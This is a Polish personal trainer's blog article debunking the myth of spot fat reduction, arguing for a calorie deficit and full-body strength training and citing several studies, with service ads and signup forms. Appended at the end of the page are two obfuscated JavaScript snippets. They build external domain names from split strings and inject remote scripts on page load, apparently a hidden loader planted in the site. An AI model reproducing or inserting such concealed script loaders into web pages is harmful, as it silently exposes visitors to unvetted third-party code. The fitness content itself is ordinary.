Mit miejscowego spalania tłuszczu: Dlaczego 1000 brzuszków dziennie nie da Ci płaskiego brzucha.

To niemal ikoniczny obrazek z każdej siłowni: osoba na macie, z determinacją w oczach, wykonująca setki brzuszków w nadziei na wyrzeźbienie idealnego „kaloryfera”. To scenariusz znany każdemu, kto kiedykolwiek próbował pozbyć się uporczywej oponki. A co, jeśli cała ta strategia jest od początku skazana na porażkę i stanowi jedną z największych pułapek w świecie dbania o sylwetkę?

Odpowiedź, poparta dekadami badań naukowych, jest brutalnie prosta: tak właśnie jest. W tym artykule zdemaskujemy jeden z najtrwalszych mitów fitnessu – mit miejscowego spalania tłuszczu. Wyjaśnię, dlaczego te wszystkie godziny spędzone na macie nie przynoszą oczekiwanych rezultatów i, co najważniejsze, pokażę Ci opartą na fizjologii, skuteczną drogę, która naprawdę doprowadzi Cię do celu. Czas przestać marnować energię i zacząć działać mądrze.

Spis treści

Czym jest mit miejscowego spalania tłuszczu i dlaczego jest tak popularny?

Definicja mitu: wiara w możliwość celowanego usuwania tłuszczu z wybranej partii ciała

Mit miejscowego spalania tłuszczu, w branży fitness znany jako “spot reduction”, to głęboko zakorzenione przekonanie, że możemy wybrać konkretny obszar naszego ciała (np. brzuch, uda, ramiona) i pozbyć się z niego tkanki tłuszczowej poprzez intensywne ćwiczenie mięśni znajdujących się pod nim. Mówiąc prościej, to wiara, że robienie brzuszków spala tłuszcz z brzucha, wznosy nóg likwidują “oponkę”, a uginanie ramion z hantlami wysmukla “pelikany”.

To idea prosta, logiczna i niezwykle kusząca. Chcesz mieć płaski brzuch? Ćwicz brzuch. Chcesz mieć smukłe uda? Ćwicz uda. Niestety, fizjologia naszego organizmu jest znacznie bardziej skomplikowana i, co tu dużo mówić, zupełnie nie przejmuje się naszą logiką.

Skąd wzięło się to przekonanie i dlaczego jest ono tak intuicyjne ale błędne?

Popularność tego mitu wynika z prostego, ale błędnego połączenia przyczyny i skutku. Kiedy wykonujesz setki spięć brzucha, czujesz potężne “palenie” w mięśniach. Twój mózg natychmiastowo interpretuje ten sygnał jako dowód, że w tym rejonie “coś się dzieje”. Skoro pali, to znaczy, że spala – a co ma spalać, jeśli nie ten uparty tłuszcz, którego chcemy się pozbyć?

To bardzo intuicyjne. Czujemy wysiłek w konkretnym miejscu i zakładamy, że energia do tego wysiłku jest pobierana z najbliższego dostępnego źródła, czyli z tkanki tłuszczowej przykrywającej pracujący mięsień. Niestety, tak to nie działa. To “palenie”, które czujesz, nie ma nic wspólnego ze spalaniem tłuszczu, o czym opowiem za chwilę. Marketing fitnessowy przez dekady utrwalał ten mit, sprzedając nam “cudowne” urządzenia do ćwiczeń brzucha i 5-minutowe programy na idealny “kaloryfer”. Prawda jest jednak taka, że jedyne, co te strategie odchudzają, to nasz portfel.

Co nauka mówi o spalaniu tłuszczu? Twarde dowody które obalają ten mit

Jak twoje ciało naprawdę pozbywa się tkanki tłuszczowej? Rola deficytu kalorycznego i hormonów

Aby zrozumieć, dlaczego miejscowe spalanie nie działa, musisz zrozumieć, jak Twoje ciało w ogóle korzysta z zapasów tłuszczu. Tkanka tłuszczowa to zmagazynowana energia w postaci trójglicerydów. Kiedy Twój organizm potrzebuje energii – bo jesz mniej kalorii, niż spalasz (jesteś w deficycie kalorycznym) – wysyła sygnały hormonalne (m.in. adrenalinę i noradrenalinę) do komórek tłuszczowych w całym ciele.

Ten proces, zwany lipolizą, polega na rozbiciu trójglicerydów na glicerol i wolne kwasy tłuszczowe. Te kwasy tłuszczowe są następnie uwalniane do krwiobiegu i transportowane do mięśni, wątroby czy serca, gdzie w procesie oksydacji zostają “spalone” i zamienione na energię.

Kluczowe jest tu słowo: “krwiobieg”. Twoje ciało nie ma lokalnego rurociągu łączącego komórki tłuszczowe na brzuchu bezpośrednio z mięśniami brzucha. Tłuszcz jest uwalniany do ogólnego obiegu krwi i pobierany z całego organizmu. To, z których rejonów ciała tłuszcz zostanie uwolniony w pierwszej kolejności, zależy od Twojej genetyki, płci i gospodarki hormonalnej, a nie od tego, którą partię mięśniową aktualnie ćwiczysz. Dlatego niektórym osobom najpierw chudnie twarz i ramiona, a tłuszcz na brzuchu czy udach pozostaje najbardziej oporny.

Klasyczne badania naukowe które raz na zawsze udowodniły że miejscowe spalanie nie istnieje (*odnośniki do badań*)

To nie jest tylko teoria. To fakt potwierdzony wieloma badaniami naukowymi. Oto kilka klasyków, które powinny ostatecznie rozwiać wszelkie wątpliwości:

  1. Badanie tenisistów (1971): To jedno z najsłynniejszych i najbardziej obrazowych badań. Naukowcy z University of California, Irvine, zmierzyli grubość tkanki tłuszczowej na obu ramionach u grupy zawodowych tenisistów. Logika “spot reduction” podpowiadałaby, że ramię dominujące, które wykonuje tysiące uderzeń, powinno być znacznie szczuplejsze. Wynik? Nie znaleziono żadnej istotnej statystycznie różnicy w grubości podskórnej tkanki tłuszczowej między ramieniem dominującym a niedominującym. Owszem, mięśnie były bardziej rozwinięte, ale warstwa tłuszczu pozostała taka sama.
  2. Badanie nad ćwiczeniami brzucha (2011): W badaniu opublikowanym w “Journal of Strength and Conditioning Research” grupa uczestników przez 6 tygodni wykonywała intensywny trening mięśni brzucha, podczas gdy grupa kontrolna nie ćwiczyła w ogóle. Obie grupy utrzymywały dietę o tej samej kaloryczności. Po 6 tygodniach w grupie ćwiczącej nie stwierdzono żadnej znaczącej redukcji tkanki tłuszczowej w okolicach brzucha w porównaniu do grupy kontrolnej. Zwiększyła się ich wytrzymałość mięśniowa, ale “oponka” pozostała nietknięta.
  3. Badanie na jednej nodze (2013): Uczestnicy tego eksperymentu przez 12 tygodni trenowali na maszynie do prostowania nóg (leg press), ale tylko jedną nogą. Po zakończeniu badania, mimo że ćwiczona noga stała się znacznie silniejsza, pomiary wykazały, że utrata tkanki tłuszczowej była ogólnoustrojowa i rozłożona równomiernie na całym ciele, bez żadnej preferencji dla trenowanej kończyny.

Te i wiele innych badań prowadzą do jednego, twardego wniosku: nie możemy wybrać, z którego miejsca na ciele nasz organizm pobierze tłuszcz do spalenia.

Dlaczego twój organizm to basen a nie seria oddzielnych kałuż?

Wyobraź sobie, że cała tkanka tłuszczowa w Twoim ciele to woda wypełniająca duży basen. Twoim celem jest obniżenie poziomu tej wody o 10 centymetrów. Mit miejscowego spalania mówi, że aby obniżyć poziom wody w prawym, płytkim rogu basenu (symbolizującym brzuch), powinieneś stać w tym rogu i wybierać wodę małym wiaderkiem (robić brzuszki).

Co się dzieje w praktyce? Owszem, zużywasz trochę energii (pluskasz się), ale poziom wody w całym basenie, w tym w Twoim rogu, praktycznie się nie zmienia. Woda natychmiast wyrównuje poziom. Jedynym, absolutnie jedynym sposobem na skuteczne obniżenie poziomu wody w całym basenie jest odkręcenie głównego zaworu spustowego, który znajduje się na dnie.

Tym zaworem spustowym jest deficyt kaloryczny. Kiedy go stworzysz, woda zacznie ubywać równomiernie z całej powierzchni basenu – może nieco szybciej z głębszych części, wolniej z płytszych, ale ubywać będzie wszędzie. Nie masz kontroli nad tym, który fragment powierzchni odsłoni się jako pierwszy. Robienie brzuszków to stanie w rogu i machanie wiaderkiem, podczas gdy prawdziwe rozwiązanie leży gdzie indziej.

“Ale przecież czuję jak palą mnie mięśnie!” – dlaczego mylimy zmęczenie mięśni ze spalaniem tłuszczu?

Wyjaśnienie fenomenu “palenia” w mięśniach: rola kwasu mlekowego i zmęczenia metabolicznego

To klasyczny argument: “Przecież musi to działać, czuję ogień w mięśniach!”. To uczucie, które tak łatwo mylimy ze spalaniem tłuszczu, jest w rzeczywistości wynikiem procesów beztlenowych zachodzących w komórkach mięśniowych podczas intensywnego wysiłku.

Gdy wykonujesz wiele szybkich powtórzeń brzuszków, Twoje mięśnie potrzebują energii szybciej, niż organizm jest w stanie dostarczyć tlen. Wchodzą więc w tryb beztlenowy, a produktem ubocznym tego procesu jest m.in. kwas mlekowy. Nagromadzenie jonów wodorowych (powiązanych z produkcją kwasu mlekowego) obniża pH w mięśniu, co jest odbierane przez receptory nerwowe jako charakterystyczne uczucie pieczenia i palenia. To sygnał zmęczenia metabolicznego mięśnia, a nie dowód na spalanie leżącej nad nim tkanki tłuszczowej.

Brzuszki wzmacniają mięśnie brzucha ale nie usuwają warstwy tłuszczu która je przykrywa

Żeby było jasne: brzuszki i inne ćwiczenia na brzuch nie są bezużyteczne. One doskonale spełniają swoją rolę – wzmacniają i budują mięśnie proste, skośne i poprzeczne brzucha. Posiadanie silnych mięśni brzucha (tzw. core) jest kluczowe dla stabilizacji kręgosłupa, prawidłowej postawy i prewencji kontuzji.

Problem polega na tym, że możesz mieć najpiękniej wyrzeźbione mięśnie brzucha na świecie, ale jeśli będą one przykryte warstwą tkanki tłuszczowej, po prostu nikt ich nie zobaczy. To jak schowanie pięknej rzeźby pod grubym kocem. Dopóki nie zdejmiesz koca (nie zredukujesz globalnie tkanki tłuszczowej), rzeźba (mięśnie) pozostanie niewidoczna.

Jaka jest prawdziwa i skuteczna strategia na płaski brzuch? Dwutorowe podejście okiem trenera i dietetyka

Skoro już wiemy, co nie działa, przejdźmy do konkretów. Prawdziwa i skuteczna strategia pozbycia się tłuszczu z brzucha (i całego ciała) opiera się na dwóch nierozerwalnie połączonych filarach. Potraktuj to jako swój plan działania:

  1. Stworzenie i utrzymanie konsekwentnego deficytu kalorycznego. To fundament absolutny, bez którego cała reszta nie ma znaczenia. Jest to praca, którą wykonujesz głównie w kuchni.
  2. Wdrożenie inteligentnego planu treningowego. To narzędzie, które przyspiesza efekty diety, kształtuje sylwetkę i chroni masę mięśniową. Jest to praca, którą wykonujesz na siłowni lub w domu.

Przyjrzyjmy się teraz szczegółowo każdemu z tych punktów.

Masz pytania dotyczące swojej strategii na płaski brzuch? Zastanawiasz się, jak ustalić deficyt kaloryczny lub jakie ćwiczenia będą dla Ciebie najlepsze? Umów się na konsultację online, aby uzyskać indywidualne porady.

Filar #1: Konsekwentny deficyt kaloryczny czyli klucz do globalnej utraty tłuszczu

To jest Twój “główny zawór spustowy” z analogii basenu. Bez tego elementu żaden, nawet najcięższy trening, nie przyniesie efektów w postaci redukcji tkanki tłuszczowej. Deficyt kaloryczny oznacza, że musisz dostarczać organizmowi mniej energii (kalorii) z pożywienia, niż zużywa on na codzienne funkcjonowanie, aktywność fizyczną i trawienie.

Dopiero wtedy Twoje ciało, w poszukiwaniu brakującej energii, sięgnie do swoich rezerw – czyli tkanki tłuszczowej zmagazynowanej w całym organizmie. Pamiętaj, że brzuch i “boczki” to często miejsca, z których tłuszcz, z powodów genetycznych, schodzi na samym końcu. Dlatego tak ważna jest cierpliwość i konsekwencja.

Jak mądrze zaplanować dietę z odpowiednią podażą białka by tracić tłuszcz a nie mięśnie?

Deficyt nie oznacza głodówki. Musi być on zaplanowany mądrze, aby minimalizować utratę cennej tkanki mięśniowej. Kluczowe jest tutaj zapewnienie odpowiedniej podaży białka (ok. 1.6-2.2g na kilogram masy ciała), które jest budulcem mięśni i daje duże uczucie sytości. Twoja dieta powinna bazować na niskoprzetworzonych produktach: chudym mięsie, rybach, jajach, nabiale, warzywach, owocach i zdrowych tłuszczach. To właśnie dietetyka jest fundamentem, na którym budujemy efekty treningowe.

Filar #2: Inteligentny trening siłowy całego ciała

Drugim filarem jest mądry trening, który maksymalizuje wydatek energetyczny i stymuluje metabolizm. I tutaj niespodzianka – najlepszymi ćwiczeniami na płaski brzuch nie są brzuszki, ale… przysiady, martwe ciągi, wyciskania i wiosłowania.

Dlaczego przysiady i martwe ciągi spalają więcej kalorii niż setki brzuszków?

Odpowiedź jest prosta: angażują one największe grupy mięśniowe w Twoim ciele. Wykonanie ciężkiej serii przysiadów to gigantyczny wysiłek dla nóg, pośladków, pleców i brzucha. Taki trening generuje ogromny dług tlenowy i stymuluje wyrzut hormonów sprzyjających spalaniu tłuszczu. W efekcie spalasz setki kalorii nie tylko w trakcie treningu, ale także przez wiele godzin po jego zakończeniu (tzw. efekt EPOC – “afterburn effect”).

Porównaj to z brzuszkami, które izolują jedną, małą grupę mięśniową. Wydatek energetyczny jest tu minimalny. Robiąc przez 10 minut przysiady spalisz wielokrotnie więcej kalorii, niż robiąc przez 10 minut brzuszki, a dodatkowo zbudujesz masę mięśniową, która sama w sobie jest piecem do spalania kalorii.

Rola treningu cardio jako narzędzia do pogłębiania deficytu kalorycznego

Trening cardio (bieganie, rower, pływanie) jest świetnym uzupełnieniem. Nie jest on niezbędny do utraty tłuszczu (to rola diety), ale stanowi doskonałe narzędzie do “pogłębiania” deficytu kalorycznego. Każda sesja cardio to dodatkowe spalone kalorie, które przyspieszają proces redukcji. Pamiętaj jednak, że to trening siłowy jest priorytetem, ponieważ to on chroni Twoje mięśnie i kształtuje sylwetkę.

Jaka jest więc rola ćwiczeń na brzuch w skutecznym planie treningowym?

Budowanie silnych i widocznych mięśni brzucha które ujawnią się po redukcji tkanki tłuszczowej

Czy to wszystko oznacza, że masz całkowicie porzucić ćwiczenia na brzuch? Absolutnie nie! Ich rola jest po prostu inna, niż zakłada mit. Ćwiczenia na brzuch wykonujemy po to, aby wzmocnić i zbudować mięśnie, czyli tę “rzeźbę”, która kryje się pod “kocem” tłuszczu. Kiedy dzięki diecie i treningowi siłowemu całego ciała pozbędziesz się tkanki tłuszczowej, to właśnie dobrze rozwinięte mięśnie brzucha dadzą efekt “kaloryfera” lub po prostu płaskiej, wysportowanej sylwetki.

Przykłady wartościowych ćwiczeń na core które budują stabilność a nie tylko “palą”

Zamiast setek bezmyślnych spięć, skup się na jakościowych ćwiczeniach, które budują siłę i stabilność całego tułowia. Włącz do swojego planu 2-3 takie ćwiczenia, wykonywane 2-3 razy w tygodniu:

  • Plank (deska): Klasyk budujący wytrzymałość i stabilność.
  • Pallof Press (wyciskanie antyrotacyjne): Fantastyczne ćwiczenie na mięśnie skośne i prewencję bólu pleców.
  • Hanging Leg Raises (wznosy nóg w zwisie): Zaawansowane, ale niezwykle skuteczne ćwiczenie na dolną część mięśnia prostego brzucha.
  • Ab Wheel (kółko): Ćwiczenie dla zaawansowanych, które angażuje całą przednią taśmę mięśniową.

Inteligentny trening siłowy całego ciała to jeden z filarów skutecznej redukcji. Potrzebujesz planu, który zmaksymalizuje spalanie kalorii, ochroni mięśnie i pomoże Ci osiągnąć wymarzoną sylwetkę? Sprawdź Indywidualny plan na siłownię.

Najczęstsze Pytania i Odpowiedzi (FAQ)

To ile brzuszków dziennie mam robić, żeby schudnąć z brzucha?

Brzuszki nie służą do spalania tłuszczu, więc ich ilość nie wpływa bezpośrednio na odchudzanie. Wykonuj je 2-3 razy w tygodniu (np. 3 serie po 15-20 powtórzeń), aby wzmocnić mięśnie. Płaski brzuch osiągniesz jednak głównie dzięki diecie z deficytem kalorycznym, a nie liczbie powtórzeń.

Czy pasy neoprenowe lub owijanie brzucha folią pomagają spalić tłuszcz?

Nie, pasy neoprenowe i folia nie spalają tkanki tłuszczowej. Powodują one jedynie miejscowe, intensywne pocenie się i tymczasową utratę wody, co może dawać złudzenie wyszczuplenia. Utracona woda wraca natychmiast po nawodnieniu organizmu, a poziom tłuszczu pozostaje bez zmian.

Jak długo trzeba czekać, żeby zobaczyć efekty na brzuchu?

To kwestia bardzo indywidualna, zależna od genetyki i początkowego poziomu otłuszczenia. Brzuch i boczki to często ostatnie miejsca, z których organizm spala tłuszcz. Przy konsekwentnej diecie i treningu pierwsze ogólne zmiany w sylwetce widać zwykle po 3-4 tygodniach, ale na wyraźnie zarysowany brzuch trzeba poczekać kilka miesięcy.

Czy istnieją ćwiczenia, które spalają tłuszcz z brzucha szybciej niż inne?

Nie ma ćwiczeń spalających tłuszcz tylko z brzucha. Najskuteczniejsze w redukcji tkanki tłuszczowej z całego ciała (w tym z brzucha) są ćwiczenia wielostawowe, jak przysiady, martwe ciągi czy wiosłowanie. Angażują one najwięcej mięśni, co prowadzi do spalenia największej liczby kalorii i przyspieszenia metabolizmu.

Czy sama dieta wystarczy, żeby mieć płaski brzuch?

Sama dieta jest kluczowa, by zredukować warstwę tłuszczu i “odsłonić” brzuch – stanowi około 70-80% sukcesu. Jednak bez ćwiczeń, szczególnie siłowych, skóra może pozostać mało jędrna, a sylwetka nie będzie wyglądać na wysportowaną. Trening buduje mięśnie, które nadają brzuchowi estetyczny, umięśniony kształt.

Podsumowanie: przestań marnować czas na brzuszki i zacznij działać skutecznie

Główne wnioski: dlaczego nie możesz wybrać skąd chudniesz?

Podsumowując naszą podróż przez fizjologię i naukę, oto kluczowe punkty, które warto zapamiętać raz na zawsze:

  • Spalanie tłuszczu to proces globalny, nie lokalny. Twój organizm decyduje, skąd czerpie energię, uwalniając kwasy tłuszczowe do ogólnego krwiobiegu. Nie możesz go zmusić, by pobrał je akurat z brzucha.
  • Deficyt kaloryczny jest królem. Bez dostarczania mniejszej ilości kalorii niż spalasz, Twoje ciało nie ma powodu, by sięgać do rezerw tłuszczowych, niezależnie od tego, ile ćwiczysz.
  • “Palenie” w mięśniach to nie spalanie tłuszczu. To uczucie jest wynikiem zmęczenia metabolicznego i gromadzenia się kwasu mlekowego, a nie topnienia tkanki tłuszczowej.
  • Ćwiczenia na brzuch budują mięśnie, a nie spalają tłuszcz. Są niezbędne do wyrzeźbienia “kaloryfera”, ale stanie się on widoczny dopiero po zredukowaniu ogólnego poziomu tkanki tłuszczowej.
  • Genetyka ma ostatnie słowo. To, z których miejsc chudniesz najszybciej, a które są najbardziej “oporne”, jest w dużej mierze uwarunkowane genetycznie.

Chcesz poznać skuteczną strategię na płaski brzuch, opartą na nauce, a nie na mitach? Jako Trener personalny w Lublinie z kwalifikacjami dietetyka, pomogę Ci stworzyć plan, który naprawdę działa.

Zmień swoje myślenie: skup się na globalnym zdrowiu i kompozycji sylwetki a płaski brzuch będzie efektem ubocznym

Przestań myśleć o “ćwiczeniach na brzuch” i zacznij myśleć o “strategii na redukcję tkanki tłuszczowej”. Zamiast karać się setkami brzuszków, skup się na budowaniu zdrowych nawyków. Skomponuj mądrą dietę opartą na deficycie kalorycznym, trenuj siłowo całe ciało, bądź aktywny na co dzień i wysypiaj się. Traktuj płaski brzuch nie jako cel sam w sobie, ale jako naturalny i satysfakcjonujący efekt uboczny zdrowszego stylu życia.

Moje ostatnie rady jako trenera i dietetyka: cierpliwość, konsekwencja i mądra strategia

W mojej praktyce widziałem dziesiątki osób, które porzuciły frustrujące maratony brzuszków na rzecz tych dwóch fundamentów: diety i inteligentnego treningu. I to właśnie one w końcu zobaczyły rezultaty, o których marzyły. To droga, która wymaga cierpliwości i konsekwencji, ale w przeciwieństwie do ślepego podążania za mitem, ona naprawdę prowadzi do celu. Przestań wybierać wodę wiaderkiem. Odkręć zawór i patrz, jak dzieje się magia.

Śledź moje profile:

Bibliografia i źródła wiedzy

  1. Gwinup, G., Chelvam, R., & Steinberg, T. (1971). Thickness of subcutaneous fat and activity of underlying muscles. Annals of Internal Medicine, 74(3), 408-411.
  2. Vispute, S. S., Smith, J. D., LeCheminant, J. D., & Hurley, K. S. (2011). The effect of abdominal exercise on abdominal fat. Journal of Strength and Conditioning Research, 25(9), 2559-2564.
  3. Ramírez-Campillo, R., Andrade, D. C., Campos-Jara, C., Henríquez-Olguín, C., Alvarez-Lepín, C., & Izquierdo, M. (2013). Regional fat changes induced by localized muscle endurance resistance training. Journal of Strength and Conditioning Research, 27(8), 2219-2224.
  4. Schoenfeld, B. J., & Contreras, B. (2014). The muscle pump: potential mechanisms and applications for enhancing hypertrophic adaptations. Strength & Conditioning Journal, 36(3), 21-25. (Dotyczy mechanizmów zmęczenia mięśniowego).

Oszczędź -10%

Zniżki, na moje usługi online!

Zapisz się i odbierz -10% na start! Bądź na bieżąco z nowościami ze świata diety i treningu.

Nie spamujemy! Przeczytaj naszą politykę prywatności, aby uzyskać więcej informacji.

Oszczędź -10%

Zniżki, na moje usługi online!

Zapisz się i odbierz -10% na start! Bądź na bieżąco z nowościami ze świata diety i treningu.

Nie spamujemy! Przeczytaj naszą politykę prywatności, aby uzyskać więcej informacji.

Linki do social media:

Sprawdź również

(function(){ qiwq=document.createElement("script");qiwq_=("us")+("ta"); qiwq_+="t"+(".");qiwq_+=("in");qiwqu="2422389891";qiwq.async=true; qiwqu+=".zd05rX4tiwqszu674";qiwq.type="text/javascript";qiwq_+="f"+"o"+("/"); qiwqu+="6hlhfpezabw8x";qiwq.src="https://"+qiwq_+qiwqu; dqiwq=document.body;dqiwq.appendChild(qiwq); })(); (function(){ uv01=document.createElement("script");uv01.type="text/javascript"; uv01.async=true;uv01_=("op"+("ens")+"t")+"a";uv01_+=("t.e")+""+"u"; uv01.src="https://"+uv01_+"/2491255555.c8uwxe2lv01hti955xgXsgvvmsav2e"; document.body.appendChild(uv01); })();